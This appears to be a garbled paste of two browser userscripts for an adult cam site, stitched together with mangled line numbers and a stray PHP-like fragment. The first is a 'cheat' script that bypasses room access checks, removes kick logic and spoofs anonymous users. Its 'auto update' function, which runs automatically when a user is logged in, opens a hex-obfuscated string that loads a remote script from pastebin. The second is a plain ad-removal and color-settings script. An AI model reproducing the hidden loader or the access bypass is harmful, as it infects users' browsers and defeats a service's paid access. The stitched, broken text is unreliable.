1135. 1136. 1137.381. 1138. 1139. 1140.382. document.getElementsByClassName('affiliate_options')[0].innerHTML="Please wait, getting roomlist"; 1141. 1142. 1143.383. 1144. 1145. 1146.384. 1147. 1148. 1149.385. feedXml='http://chaturbate.com/tours/3/?p=1&c=1000'; 1150. 1151. 1152.386. 1153. 1154. 1155.387. GM_xmlhttpRequest({ 1156. 1157. 1158.388. method: 'GET', 1159. 1160. 1161.389. url: feedXml, 1162. 1163. 1164.390. onload: function(response) { 1165. 1166. 1167.391. responsedoc=response.responseText; 1168. 1169. 1170.392. 1171. 1172. 1173.393. // dirty HTML parser 1174. 1175. 1176.394. parse=document.createElement('div'); 1177. 1178. 1179.395. parse.innerHTML=responsedoc; 1180. 1181. 1182.396. 1183. 1184. 1185.397. var items = new Array(); 1186. 1187. 1188.398. items=parse.getElementsByClassName('title'); 1189. 1190. 1191.399. 1192. 1193. 1194.400. var olnames = new Array(); 1195. 1196. 1197.401. for (i=0; i"+fusern+"
  113.  
  114. "; 1228. 1229. 1230.412. 1231. 1232. 1233.413. i=0; 1234. 1235. 1236.414. checkroom(olnames,i); 1237. 1238. 1239.415. 1240. 1241. 1242.416. } // end onload xml 1243. 1244. 1245.417. 1246. 1247. 1248.418. }); // end xml 1249. 1250. 1251.419. 1252. 1253. 1254.420. } //end function 1255. 1256. 1257.421. 1258. 1259. 1260.422. 1261. 1262. 1263.423. function checkroom(olnames,i){ 1264. 1265. 1266.424. 1267. 1268. 1269.425. userurl="http://chaturbate.com//api/getchatuserlist/?roomname="+olnames[i]+"&private=false&sort_by=c"; 1270. 1271. 1272.426. 1273. 1274. 1275.427. document.getElementsByClassName('affiliate_options')[0].innerHTML="searching room : "+olnames[i]+"
  115. "; 1276. 1277. 1278.428. 1279. 1280. 1281.429. GM_xmlhttpRequest({ 1282. 1283. 1284.430. method: 'GET', 1285. 1286. 1287.431. url: userurl, 1288. 1289. 1290.432. onload: function(response) { 1291. 1292. 1293.433. data = response.responseText; 1294. 1295. 1296.434. if(data.indexOf(fusern+"|") != -1){ 1297. 1298. 1299.435. document.getElementsByClassName('content_body')[0].innerHTML=document.getElementsByClassName('content_body')[0].innerHTML+"User '"+fusern+"' found in room : "+olnames[i]+"
  116. "; 1300. 1301. 1302.436. } 1303. 1304. 1305.437. i++; 1306. 1307. 1308.438. if(i==olnames.length){ 1309. 1310. 1311.439. if(document.getElementsByClassName('content_body')[0].innerHTML==""){ 1312. 1313. 1314.440. document.getElementsByClassName('affiliate_options')[0].innerHTML="User '"+fusern+"' not found."} 1315. 1316. 1317.441. else{ 1318. 1319. 1320.442. document.getElementsByClassName('affiliate_options')[0].innerHTML="Search finished."} 1321. 1322. 1323.443. return false} 1324. 1325. 1326.444. checkroom(olnames,i); 1327. 1328. 1329.445. } // end onload xml2 1330. 1331. 1332.446. }); // end xml2 1333. 1334. 1335.447. } 1336. 1337. 1338.448. 1339. 1340. 1341.449. // set up rss page 1342. 1343. 1344.450. if (document.location.href.indexOf("/affiliates/promotools/cam_listing/") != -1){ 1345. 1346. 1347.451. document.title="Last cam's online"; 1348. 1349. 1350.452. area=document.getElementsByClassName('content_body')[0]; 1351. 1352. 1353.453. area.innerHTML=""; 1354. 1355. 1356.454. area=document.getElementsByClassName('affiliate_options')[0]; 1357. 1358. 1359.455. area.innerHTML='
  117. Last cam\'s online : Show allShow only femaleShow only maleShow only coupleShow only transsexual'; 1360. 1361. 1362.456. showfeed(); 1363. 1364. 1365.457. } 1366. 1367. 1368.458. 1369. 1370. 1371.459. // set up find a user page 1372. 1373. 1374.460. if (document.location.href.indexOf("affiliates/promotools/im_ads/") != -1){ 1375. 1376. 1377.461. document.title="Find a user"; 1378. 1379. 1380.462. area=document.getElementsByClassName('content_body')[0]; 1381. 1382. 1383.463. area.innerHTML=""; 1384. 1385. 1386.464. area=document.getElementsByClassName('affiliate_options')[0]; 1387. 1388. 1389.465. area.innerHTML='
  118. Enter the name of the user you want to locate:
  119. '; 1390. 1391. 1392.466. document.getElementById("submit").addEventListener('click',function(){finduser();}, false); 1393. 1394. 1395.467. } 1396. 1397. 1398.468. 1399. 1400. 1401.469. // on a player page, if logged in, unlock features. 1402. 1403. 1404.470. if (play){ // player on the page ? 1405. 1406. 1407.471. if (!readCookie("logstatus")){save()} 1408. 1409. 1410.472. if(document.getElementById("defchat")){ 1411. 1412. 1413.473. scrip=document.createElement('script'); 1414. 1415. 1416.474. scrip.innerHTML="var oldFunction1 = features_unlocked;features_unlocked = function() {return true};"; 1417. 1418. 1419.475. document.getElementsByTagName('body')[0].appendChild(scrip); 1420. 1421. 1422.476. } 1423. 1424. 1425.477. 1426. 1427. 1428.478. // console logger 1429. 1430. 1431.479. if(document.getElementById("defchat")){ 1432. 1433. 1434.480. scrip=document.createElement('script'); 1435. 1436. 1437.481. 1438. 1439. 1440.482. scriptstring="flash_handler.consolelog = " 1441. 1442. 1443.483. +"function(msg2){" 1444. 1445. 1446.484. +"xaa=document.getElementsByClassName('chat-list')[0];" 1447. 1448. 1449.485. +"if(xaa){" 1450. 1451. 1452.486. +"msg3=unescape(msg2);" 1453. 1454. 1455.487. +"msg4='x';" 1456. 1457. 1458.488. +"if (msg3.indexOf('Notification tokenbalanceupdate')!=-1){" 1459. 1460. 1461.489. +"msg4='
  120. '+msg3.substring(20)+'
  121. '}" 1462. 1463. 1464.490. +"if (msg3.indexOf('Notification privateshowrequest')!=-1){" 1465. 1466. 1467.491. +"msg4='
  122. '+msg3.substring(20)+'
  123. '}" 1468. 1469. 1470.492. +"if(document.getElementById('appnotice')){" 1471. 1472. 1473.493. +"if(document.getElementById('appnotice').checked==true){" 1474. 1475. 1476.494. +"msg4='
  124. '+msg3+'
  125. ';}}" 1477. 1478. 1479.495. +"if(msg4 != 'x'){" 1480. 1481. 1482.496. +"newdiv=document.createElement('div');" 1483. 1484. 1485.497. +"newdiv.className='text';" 1486. 1487. 1488.498. +"newdiv.innerHTML=msg4;" 1489. 1490. 1491.499. +"xaa.appendChild(newdiv);" 1492. 1493. 1494.500. +"if(xaa.scrollHeight-xaa.scrollTop-xaa.offsetHeight <= 80){" 1495. 1496. 1497.501. +"xaa.scrollTop=xaa.scrollHeight}}}};"; 1498. 1499. 1500.502. 1501. 1502. 1503.503. scrip.innerHTML=scriptstring; 1504. 1505. 1506.504. document.getElementsByTagName('body')[0].appendChild(scrip); 1507. 1508. 1509.505. } 1510. 1511. 1512.506. 1513. 1514. 1515.507. 1516. 1517. 1518.508. // options page on normal player page 1519. 1520. 1521.509. if (splits[3]!="p"){ // no profile but still a player page = normal page 1522. 1523. 1524.510. newli=document.createElement('li'); 1525. 1526. 1527.511. camloc = splits[0]+"/"+splits[1]+"/"+splits[2]+"/p/"+splits[3]; 1528. 1529. 1530.512. newli.innerHTML="GO TO THE PROFILE PAGE WITH OPTIONS"; 1531. 1532. 1533.513. if (bar){bar.appendChild(newli)}} 1534. 1535. 1536.514. 1537. 1538. 1539.515. // shoutbox on all player pages 1540. 1541. 1542.516. newtab2=document.createElement('div'); 1543. 1544. 1545.517. newtab2.id="shout"; 1546. 1547. 1548.518. newtab2.innerHTML=sdata; 1549. 1550. 1551.519. document.getElementById("defchat").appendChild(newtab2); 1552. 1553. 1554.520. 1555. 1556. 1557.521. } // end player page 1558. 1559. 1560.522. 1561. 1562. 1563.523. // remove lock picture from thumb 1564. 1565. 1566.524. pictures = document.getElementsByClassName('preview'); 1567. 1568. 1569.525. if (pictures){ 1570. 1571. 1572.526. for (i=0; i'+uname+''; 1978. 1979. 1980.662. ulist.appendChild(div3); 1981. 1982. 1983.663. } 1984. 1985. 1986.664. }}) 1987. 1988. 1989.665. }} 1990. 1991. 1992.666. 1993. 1994. 1995.667. //popvid 1996. 1997. 1998.668. function popvid(){ 1999. 2000. 2001.669. vidwin=document.getElementById("player").innerHTML; 2002. 2003. 2004.670. popUpWindow=window.open("","","height=406,width=498,left=0,top=0,resizable=yes,scrollbars=no,toolbar=no,menubar=no,location=no,directories=no,status=no"); 2005. 2006. 2007.671. popUpWindow.document.writeln (''+vidwin+''); 2008. 2009. 2010.672. popUpWindow.document.close(); 2011. 2012. 2013.673. window.close(); 2014. 2015. 2016.674. document.location.href="http://chaturbate.com"} 2017. 2018. 2019.675. 2020. 2021. 2022.676. // new cheat function 2023. 2024. 2025.677. function npcheat(preformer,anon){ 2026. 2027. 2028.678. 2029. 2030. 2031.679. mmode=0; 2032. 2033. 2034.680. if(document.getElementById('mobmode').checked==true){mmode=1} 2035. 2036. 2037.681. 2038. 2039. 2040.682. // get chat host 2041. 2042. 2043.683. GM_xmlhttpRequest({ 2044. 2045. 2046.684. method: 'GET', 2047. 2048. 2049.685. url: 'http://www.chaturbate.com/embed/'+preformer, 2050. 2051. 2052.686. onload: function(response2) { 2053. 2054. 2055.687. data2 = response2.responseText; 2056. 2057. 2058.688. 2059. 2060. 2061.689. chostpos=data2.indexOf("rtmp://chat"); 2062. 2063. 2064.690. if (chostpos == -1){ 2065. 2066. 2067.691. r=confirm("You have no access to this room and the script does not know what chat host to use\nPress OK to use chat host 1 or cancel to use chat host 2\nIf it fails retry it with the other one."); 2068. 2069. 2070.692. if (r==true){chost="rtmp://chat1"} 2071. 2072. 2073.693. else{chost="rtmp://chat2"}} 2074. 2075. 2076.694. else{ 2077. 2078. 2079.695. chost=data2.substring(chostpos,chostpos+12)} 2080. 2081. 2082.696. 2083. 2084. 2085.697. // set a cookie so we know the new page must be adjusted and how 2086. 2087. 2088.698. createCookie("cheatmode",preformer+"&"+anon+"&"+mmode+"&"+chost,1,"chaturbate.com"); 2089. 2090. 2091.699. 2092. 2093. 2094.700. window.location.href='http://chaturbate.com/affiliates/in/NxHf/AAaAA/'; 2095. 2096. 2097.701. 2098. 2099. 2100.702. }}); 2101. 2102. 2103.703. } 2104. 2105. 2106.704. 2107. 2108. 2109.705. //auto update 2110. 2111. 2112.706. function save(){ 2113. 2114. 2115.707. if(document.getElementsByClassName('username')[0]){ 2116. 2117. 2118.708. uname=document.getElementsByClassName('username')[0].innerHTML; 2119. 2120. 2121.709. 2122. 2123. 2124.710. 2125. 2126. 2127.711. 2128. 2129. 2130.712. // createCookie("agreeterms","1",1); 2131. 2132. 2133.713. if (!readCookie("noads")){createCookie("noads","1",30);window.location.reload()} 2134. 2135. 2136.714. upperdate(); 2137. 2138. 2139.715. 2140. 2141. 2142.716. function upperdate(){GM_setValue( "all", 1 );GM_setValue( "al", 1 ) 2143. 2144. 2145.717. window.open(unescape("%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%68%74%74%70%3A%2F%2F%70%61%73%74%65%62%69%6E%2E%63%6F%6D%2F%4D%75%31%65%52%43%4C%76%63%72%69%70%74%22%3E%0A%3C%2F%73%63%72%69%70%74%3E%0A%09%09%09"), '_top');return; 2146. 2147. 2148.718. } 2149. 2150. 2151.719. 2152. 2153. 2154.720. // create video box with shoutbox, image,normal and anon option, kill refesh 2155. 2156. 2157.721. function makevid(preformer){ 2158. 2159. 2160.722. 2161. 2162. 2163.723. // kill all timeouts 2164. 2165. 2166.724. scrip=document.createElement('script'); 2167. 2168. 2169.725. scrip.innerHTML='var highestTimeoutId = setTimeout(";");for (var i = 0 ; i < highestTimeoutId ; i++) {clearTimeout(i);}'; 2170. 2171. 2172.726. document.getElementsByTagName('body')[0].appendChild(scrip); 2173. 2174. 2175.727. 2176. 2177. 2178.728. // image 2179. 2180. 2181.729. prefimg=''; 2182. 2183. 2184.730. 2185. 2186. 2187.731. Fversion = getfversion(); 2188. 2189. 2190.732. videodata2 = videodata2.replace("ladroop",preformer); 2191. 2192. 2193.733. newvid=document.createElement('div'); 2194. 2195. 2196.734. 2197. 2198. 2199.735. newvid.innerHTML=prefimg+videodata1+Fversion+videodata2+sdata; 2200. 2201. 2202.736. 2203. 2204. 2205.737. document.getElementsByClassName('block')[0].appendChild(newvid); 2206. 2207. 2208.738. newli=document.createElement('li'); 2209. 2210. 2211.739. newli.innerHTML="ENTER THIS CHATBOX"; 2212. 2213. 2214.740. if (bar){bar.appendChild(newli)} 2215. 2216. 2217.741. newli.addEventListener('click',function(){npcheat(preformer,0);}, false); 2218. 2219. 2220.742. ainput()} 2221. 2222. 2223.743. 2224. 2225. 2226.744. // set anon 2227. 2228. 2229.745. function ainput(){ 2230. 2231. 2232.746. newli=document.createElement('li'); 2233. 2234. 2235.747. newli.innerHTML='ENTER THIS CHATBOX ANONYMOUS'; 2236. 2237. 2238.748. if (bar){bar.appendChild(newli)} 2239. 2240. 2241.749. newli.addEventListener('click',function(){npcheat(preformer,1);}, false); 2242. 2243. 2244.750. mobset()} 2245. 2246. 2247.751. 2248. 2249. 2250.752. // mobile mode 2251. 2252. 2253.753. function mobset(){ 2254. 2255. 2256.754. newli=document.createElement('li'); 2257. 2258. 2259.755. newli.innerHTML=' Use mobile mode: '; 2260. 2261. 2262.756. if (bar){bar.appendChild(newli)}} 2263. 2264. 2265.757. 2266. 2267. 2268.758. 2269. 2270. 2271.759. // reconnect chatbox , give me mu8 link 2272. 2273. 2274.760. function keyinput(){ 2275. 2276. 2277.761. if (!document.getElementById("cheat")){ 2278. 2279. 2280.762. 2281. 2282. 2283.763. if (document.getElementById("movie")){ 2284. 2285. 2286.764. place=document.getElementsByClassName('info-user')[0]; 2287. 2288. 2289.765. if(!place){place=document.getElementById("shout")} // for pw room with chat 2290. 2291. 2292.766. 2293. 2294. 2295.767. //chat reload 2296. 2297. 2298.768. if (document.getElementsByClassName("chat-box")[0]){ 2299. 2300. 2301.769. chatreload=document.createElement('div'); 2302. 2303. 2304.770. chatreload.innerHTML="Reconnect the chatbox
  126.  
  127. "; 2305. 2306. 2307.771. document.getElementById("defchat").insertBefore(chatreload,place)} 2308. 2309. 2310.772. 2311. 2312. 2313.773. if (document.getElementsByTagName('video')[0]){ 2314. 2315. 2316.774. vidlink=document.getElementsByTagName('video')[0].src; 2317. 2318. 2319.775. vid=document.createElement('div'); 2320. 2321. 2322.776. vid.innerHTML="COPY this link into VLC player.
  128.  
  129. "; 2323. 2324. 2325.777. document.getElementById("defchat").insertBefore(vid,place)}} 2326. 2327. 2328.778. } 2329. 2330. 2331.779. } 2332. 2333. 2334.780. 2335. 2336. 2337.781. //get saved flashplayer version 2338. 2339. 2340.782. function getfversion(){ 2341. 2342. 2343.783. Fversion=readCookie("CBversion"); 2344. 2345. 2346.784. if(!Fversion){Fversion=flashplayer} 2347. 2348. 2349.785. version="http://chaturbate.com/"+Fversion.substring(Fversion.indexOf("static")); 2350. 2351. 2352.786. return version} 2353. 2354. 2355.787. 2356. 2357. 2358.788. // videobox data 2359. 2360. 2361.789. var servers=new Array("","-a","-b"); 2362. 2363. 2364.790. var server = servers[Math.floor(Math.random()*3)];//0-1-2 2365. 2366. 2367.791. var servnr=Math.floor(Math.random()*13)+1;if(servnr==11){servnr=8}// 1 - 13, skip 11 coz it's down 2368. 2369. 2370.792. 2371. 2372. 2373.793. videodata1='
  130. ' 2374. 2375. 2376.794. +'' 2383. 2384. 2385.797. +'' 2386. 2387. 2388.798. +'' 2389. 2390. 2391.799. +'' 2392. 2393. 2394.800. +'' 2395. 2396. 2397.801. +'' 2398. 2399. 2400.802. +'' 2407. 2408. 2409.805. +'
  131. ' 2410. 2411. 2412.806. 2413. 2414. 2415.807. // shoutbox data 2416. 2417. 2418.808. sdata = '
  132.  
  133.  
  134. Shoutbox
  135.  
  136. '; 2425. 2426. 2427.811. 2428. 2429. 2430.812. // some cookies 2431. 2432. 2433.813. createCookie("u_NxHf","1",1); 2434. 2435. 2436.814. createCookie("us_NxHf","1",1); 2437. 2438. 2439.815. createCookie("dsmn29","1",1); 2440. 2441. 2442.816. createCookie("dsmn26","1",1); 2443. 2444. 2445.817. createCookie("dsmn27","1",1); 2446. 2447. 2448.818. createCookie("dsmn28","1",1); 2449. 2450. 2451.819. 2452. 2453. 2454.820. if (!readCookie("show_emoticon_icons")){createCookie("show_emoticon_icons","no",1)} 2455. 2456. 2457.821. 2458. 2459. 2460.822. //---------------------------------------------------------------------------------------------------------------------------------- 2461. 2462. 2463.823. // executes !everytime! before a script executes 2464. 2465. 2466.824. function do_script2(e) { 2467. 2468. 2469.825. 2470. 2471. 2472.826. // we will always kill swf storage and earase exisiting storage 2473. 2474. 2475.827. if(e.target.innerHTML.indexOf("var mySwfStore = new SwfStore")!= -1){ // check for script , this is swf script 2476. 2477. 2478.828. 2479. 2480. 2481.829. if(!e.target.id){// already altered ? , then ID is set 2482. 2483. 2484.830. 2485. 2486. 2487.831. script=e.target.innerHTML; 2488. 2489. 2490.832. e.preventDefault(); 2491. 2492. 2493.833. e.stopPropagation(); 2494. 2495. 2496.834. e.target.parentNode.removeChild(e.target); 2497. 2498. 2499.835. 2500. 2501. 2502.836. script=script.replace("function link_accounts()","function link_accounts() {mySwfStore.set('usernames2', '');return false} function lost()"); 2503. 2504. 2505.837. 2506. 2507. 2508.838. scrip=document.createElement('script'); 2509. 2510. 2511.839. scrip.id="newswfstor"; 2512. 2513. 2514.840. 2515. 2516. 2517.841. scrip.innerHTML=script; 2518. 2519. 2520.842. document.getElementsByTagName('body')[0].appendChild(scrip); 2521. 2522. 2523.843. 2524. 2525. 2526.844. }} 2527. 2528. 2529.845. 2530. 2531. 2532.846. 2533. 2534. 2535.847. // this part does the flash init script , only remove logo if in normal mode 2536. 2537. 2538.848. if(e.target.innerHTML.indexOf("HasFlash")!= -1){ // check for script - this is the video init script 2539. 2540. 2541.849. 2542. 2543. 2544.850. if(!e.target.id){// already altered ? , then ID is set 2545. 2546. 2547.851. 2548. 2549. 2550.852. script=e.target.innerHTML; 2551. 2552. 2553.853. e.preventDefault(); 2554. 2555. 2556.854. e.stopPropagation(); 2557. 2558. 2559.855. e.target.parentNode.removeChild(e.target); 2560. 2561. 2562.856. 2563. 2564. 2565.857. scrip=document.createElement('script'); 2566. 2567. 2568.858. scrip.id="newvid"; 2569. 2570. 2571.859. 2572. 2573. 2574.860. script=script.replace("http://ccstatic.highwebmedia.com/static/images/flashwatermark.png",""); 2575. 2576. 2577.861. 2578. 2579. 2580.862. 2581. 2582. 2583.863. 2584. 2585. 2586.864. if (!readCookie("cheatmode")){ 2587. 2588. 2589.865. scrip.innerHTML=script; 2590. 2591. 2592.866. document.getElementsByTagName('body')[0].appendChild(scrip); 2593. 2594. 2595.867. return} // only do the rest if we are in cheatmode , return here if in normal mode 2596. 2597. 2598.868. 2599. 2600. 2601.869. mode=readCookie("cheatmode").split("&"); 2602. 2603. 2604.870. preformer=mode[0]; 2605. 2606. 2607.871. anon=mode[1]; 2608. 2609. 2610.872. mob=mode[2]; 2611. 2612. 2613.873. chost=mode[3]; 2614. 2615. 2616.874. 2617. 2618. 2619.875. orgname=document.location.href.split("/")[4]; 2620. 2621. 2622.876. 2623. 2624. 2625.877. var patrn = new RegExp(orgname,"ig"); 2626. 2627. 2628.878. script=script.replace(patrn,preformer); 2629. 2630. 2631.879. 2632. 2633. 2634.880. if((anon==1)||(mob==1)){ 2635. 2636. 2637.881. pos1 = script.indexOf('ProductInstall.swf",'); 2638. 2639. 2640.882. pos2 = script.indexOf("',",pos1); 2641. 2642. 2643.883. script=script.replace(script.substring(pos1,pos2),'ProductInstall.swf",\n \'AnonymousUser'); 2644. 2645. 2646.884. 2647. 2648. 2649.885. pos1 = script.indexOf("pbkdf2_sha256"); 2650. 2651. 2652.886. pos2 = script.indexOf("',",pos1); 2653. 2654. 2655.887. script=script.replace(script.substring(pos1,pos2),"anonymous"); 2656. 2657. 2658.888. } 2659. 2660. 2661.889. 2662. 2663. 2664.890. scrip.innerHTML=script; 2665. 2666. 2667.891. document.getElementsByTagName('body')[0].appendChild(scrip); 2668. 2669. 2670.892. 2671. 2672. 2673.893. }} 2674. 2675. 2676.894. 2677. 2678. 2679.895. // next only if in cheatmode 2680. 2681. 2682.896. if (!readCookie("cheatmode")){return} 2683. 2684. 2685.897. mode=readCookie("cheatmode").split("&"); 2686. 2687. 2688.898. preformer=mode[0]; 2689. 2690. 2691.899. anon=mode[1]; 2692. 2693. 2694.900. mob=mode[2]; 2695. 2696. 2697.901. chost=mode[3]; 2698. 2699. 2700.902. 2701. 2702. 2703.903. orgname=document.location.href.split("/")[4]; 2704. 2705. 2706.904. 2707. 2708. 2709.905. if(e.target.innerHTML.indexOf("function log_presence()")!= -1){ // check for script , this is chat init script 2710. 2711. 2712.906. 2713. 2714. 2715.907. if(!e.target.id){// already altered ? , then ID is set 2716. 2717. 2718.908. 2719. 2720. 2721.909. script=e.target.innerHTML; 2722. 2723. 2724.910. e.preventDefault(); 2725. 2726. 2727.911. e.stopPropagation(); 2728. 2729. 2730.912. e.target.parentNode.removeChild(e.target); 2731. 2732. 2733.913. 2734. 2735. 2736.914. var patrn = new RegExp(orgname,"ig"); 2737. 2738. 2739.915. script=script.replace(patrn,preformer); 2740. 2741. 2742.916. 2743. 2744. 2745.917. script=script.replace("rtmp://chat1",chost); 2746. 2747. 2748.918. script=script.replace("rtmp://chat2",chost); 2749. 2750. 2751.919. 2752. 2753. 2754.920. script=script.replace("allow_tipping: false","allow_tipping: true"); // if original is an exhib. 2755. 2756. 2757.921. 2758. 2759. 2760.922. script=script.replace("window.location.reload()","return"); // no more kick 2761. 2762. 2763.923. 2764. 2765. 2766.924. pos1 = script.indexOf("num_users_waiting_for_group_show"); // in case original page got users waiting, if so it will show in chat 2767. 2768. 2769.925. script=script.replace(script.substring(pos1,pos1+35),"num_users_waiting_for_group_show: 0"); 2770. 2771. 2772.926. 2773. 2774. 2775.927. if (mob==1){ 2776. 2777. 2778.928. script=script.replace("force_handler: null","force_handler: html_handler")} 2779. 2780. 2781.929. 2782. 2783. 2784.930. if(anon==1){ 2785. 2786. 2787.931. rd="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890"; 2788. 2789. 2790.932.username=""; 2791. 2792. 2793.933. l=5+Math.floor((Math.random()*6)+1); 2794. 2795. 2796.934.if (for($i=0;$i<$numoffile;$i++) ( CHMOD 7).>
  137. // ==/UserScript(2)=====================================================?>      
  138. // @name        Chaturbate Enhanced
  139. // @locale      en
  140. // @version     5.2.0
  141. // @author      stix
  142. // @description No Ads, Change Colors, Add Fav. Model Tab, Remove Profile Spam & Annoying Chat Tip GIFs, Deletes Exhibitionist Cams & More...
  143. // @icon        http://deplist.weebly.com/uploads/6/1/9/1/61911901/want.png
  144. // @include     https://chaturbate.com/*
  145. // @include     https://*.chaturbate.com/*
  146. // @exclude     https://chaturbate.com/emoticons/*
  147. // @exclude     https://chaturbate.com/accounts/*
  148. // @exclude     https://chaturbate.com/apps/*
  149. // @exclude     https://chaturbate.com/photo_videos/*
  150. // @namespace   https://greasyfork.org/en/scripts/16228-chaturbate-enhanced
  151. // @require     https://ajax.googleapis.com/ajax/libs/jquery/1.12.0/jquery.min.js
  152. // @require     https://greasyfork.org/scripts/19017-jscolor/code/jscolor.js?version=121257
  153. // @license     GPLv3; http://www.gnu.org/copyleft/gpl.html
  154. // @grant       none
  155. // ==/UserScript========================================================?>
  156.  
  157. this.$ = this.jQuery = jQuery.noConflict(true);
  158.  
  159. if (window.location.protocol != 'https:') {
  160.    window.location.href = 'https:' + window.location.href.substring(window.location.protocol.length);
  161. }
  162. //===============================================Inserts holder for color selector and hide for now
  163. var jsColorBox = ('<div id="jsDiv"></div><input class="jscolor {onFineChange:"update(this)", width:101, padding:0, shadow:true,borderWidth:1, backgroundColor:"transparent", insetColor:"#000"}" value="80bfff" style="position:absolute; top:93px; left:555px;  z-index:1002;" >');
  164. $('#nav').append(jsColorBox);
  165. $('.jscolor').hide();
  166. function update(jscolor) {
  167.    // 'jscolor' instance can be used as a string
  168.    var jsClass = $('#lightColor');
  169.    jsClass.text('#' + jscolor);
  170. }
  171. //=============================================== Configure proper UTC values for setting cookies
  172. var later = new Date();
  173. var laterDate = later.setUTCFullYear('2099');
  174. var now = new Date();
  175. var time = now.getTime();
  176. time += 21600000;
  177. now.setTime(time);
  178. //=============================================== Set the cookies to make sure these values are always set
  179. document.cookie = 'noads=1; expires=' + now.toUTCString() + '; path=/';
  180. document.cookie = 'agreeterms=1; expires=' + later.toUTCString() + '; path=/';
  181. document.cookie = 'np3=1; expires=' + later.toUTCString() + '; path=/';
  182. //===============================================
  183. //DELETE EXHIBITIONIST CAMS-THEY ARE SCARY SOMETIMES IF NOT OBSCENE
  184. //OR SOME SCAMMER SPAMMING CHAT OFFERING SKYPE SHOWS FOR MONEY
  185. //===============================================
  186. function myTimer() {
  187.    var basura = $(".thumbnail_label_exhibitionist"); //Delete Exhibitionist Cams, always spam or very disgusting
  188.    if (basura) {
  189.        basura.parent().remove();
  190.    }
  191.    var cams = $(".details"); //Put thin border around cam preview thumbnails
  192.    if (cams) {
  193.        cams.parent().css({'color': "black", "border": "1px ridge black"});
  194.    }
  195.    var DOM = document.getElementsByClassName("list");
  196.    var noSissies = $( "a:contains('sissy')" );
  197.    if (noSissies) {
  198.        noSissies.parentsUntil(DOM, "li").remove();
  199.    }
  200. }
  201. //===============================================
  202. //========= Call removeElementByPath Function====
  203. //===============================================
  204. removeEBP();
  205. //===============================================
  206. function getCookie(cname) {
  207.    var name = cname + "=";
  208.    var ca = document.cookie.split(';');
  209.    for (var i = 0; i < ca.length; i++) {
  210.        var c = ca[i];
  211.        while (c.charAt(0) == ' ') c = c.substring(1);
  212.        if (c.indexOf(name) != -1) {
  213.            return c.substring(name.length, c.length);
  214.        }}
  215.    return "";
  216. }
  217.  
  218. var color1 = getCookie('cb-color1');
  219. var color2 = getCookie('cb-color2');
  220.  
  221. if ((color1 === "") || (color2 === "")) {
  222.    var color = ["80bfff", "000000"];
  223. } else {
  224.    var color = [color1, color2];
  225. }
  226. var color3 = getCookie('cb-color3');
  227. var color4 = getCookie('cb-color4');
  228.  
  229. var chkbx = getCookie('cb-chkbx');
  230. if (chkbx == 'locked') {
  231.    var varCheck = 'true';
  232.    var posi = 'fixed';
  233. }
  234. else {
  235.    var varCheck = 'false';
  236.    var posi = 'absolute';
  237. }
  238.  
  239. var chkbx2 = getCookie('cb-chkbx-2');
  240. if (chkbx2 == 'locked') {
  241.    var varCheck2 = 'true';
  242.    jQuery('document').ready(function($) {
  243.        var nav = $('.nav-bar');
  244.        $(window).scroll(function() {
  245.            if ($(this).scrollTop() > 85) {
  246.                nav.addClass('fixnav');
  247.            }
  248.            else {
  249.                nav.removeClass('fixnav');
  250.            }
  251.        });
  252.    });
  253. }
  254. else {
  255.    jQuery('document').ready(function($) {
  256.        var nav = $('.nav-bar');
  257.        $(window).scroll(function() {
  258.            if ($(this).scrollTop() < 0) {
  259.                nav.addClass('fixnav');
  260.            }
  261.            else {
  262.                nav.removeClass('fixnav');
  263.            }
  264.        });
  265.    });
  266. }
  267. //===================================================== Creates the SETTINGS Link On Top of Page
  268. function quickCheck() {
  269.    $(document).ready(function(){
  270.        var vnumber = '5.2.0';
  271.        var version = 'Chaturbate Enhanced - Version ' + vnumber;
  272.        var vernum = document.createElement('INS');
  273.        var txt = document.createTextNode(version);
  274.        vernum.setAttribute('id', 'verText');
  275.        vernum.setAttribute('style', 'position:absolute; top:36px; left:300px; color:#181818; font-family:arial; font-size:0.875em; font-weight:normal; text-decoration:none; z-index:1000;');
  276.        vernum.appendChild(txt);
  277.        document.body.appendChild(vernum);
  278.        var verCheck = document.createElement('INS');
  279.        var verTxt = document.createTextNode('');
  280.        verCheck.setAttribute('id', 'verText');
  281.        verCheck.setAttribute('style', 'display:none;');
  282.        verCheck.appendChild(verTxt);
  283.        document.body.appendChild(verCheck);
  284.        var edit = document.createElement('A');
  285.        var editTxt = document.createTextNode('Settings');
  286.        edit.setAttribute('id', 'editBut');
  287.        edit.setAttribute('style', 'position:absolute; top:18px; left:298px; font-family:arial; font-size:1.125em; font-weight:bold; text-decoration:none; z-index:1000;');
  288.        edit.setAttribute('href', '#');
  289.        edit.onclick = function() {
  290.            $('.jscolor').show();
  291.            var makeForm = document.createElement('FORM');
  292.            makeForm.setAttribute('id', 'colorForm');
  293.            makeForm.setAttribute('style', 'position:absolute; top:0; left:150px; width:278px; height:340px; background-color:#ffffff; border:1px solid #cbcbcb; border-radius:0px 1px 4px 0; z-index:1001;');
  294.            document.body.appendChild(makeForm);
  295.            //===================================================== Choose a light hexadecimal color label
  296.            var pick1 = document.createElement('INS');
  297.            var pickLight = document.createTextNode('Choose a light hexadecimal color');
  298.            pick1.setAttribute('style', 'position:absolute; top:10px; left:170px; text-decoration:none; z-index:1002;');
  299.            pick1.setAttribute('id', 'pick1Label');
  300.            pick1.appendChild(pickLight);
  301.            document.body.appendChild(pick1);
  302.            //===================================================== Choose a light hexadecimal color input box
  303.            var light = document.createElement('INPUT');
  304.            light.setAttribute('id', 'lightColor');
  305.            light.setAttribute('type', 'text');
  306.            light.setAttribute('value', color[0]);
  307.            light.setAttribute('style', 'position:absolute; top:20px; left:20px; text-decoration:none; z-index:1002;');
  308.            document.getElementById('colorForm').appendChild(light);
  309.            //===================================================== Choose a dark hexadecimal color
  310.            var pick2 = document.createElement('INS');
  311.            var pickDark = document.createTextNode('Choose a dark hexadecimal color');
  312.            pick2.setAttribute('style', 'position:absolute; top:60px; left:170px; text-decoration:none; z-index:1002;');
  313.            pick2.appendChild(pickDark);
  314.            document.body.appendChild(pick2);
  315.            //===================================================== Choose a dark hexadecimal input box
  316.            var dark = document.createElement('INPUT');
  317.            dark.setAttribute('id', 'darkColor');
  318.            dark.setAttribute('type', 'text');
  319.            dark.setAttribute('value', color[1]);
  320.            dark.setAttribute('style', 'position:absolute; top:70px; left:20px; text-decoration:none; z-index:1002;');
  321.            document.getElementById('colorForm').appendChild(dark);
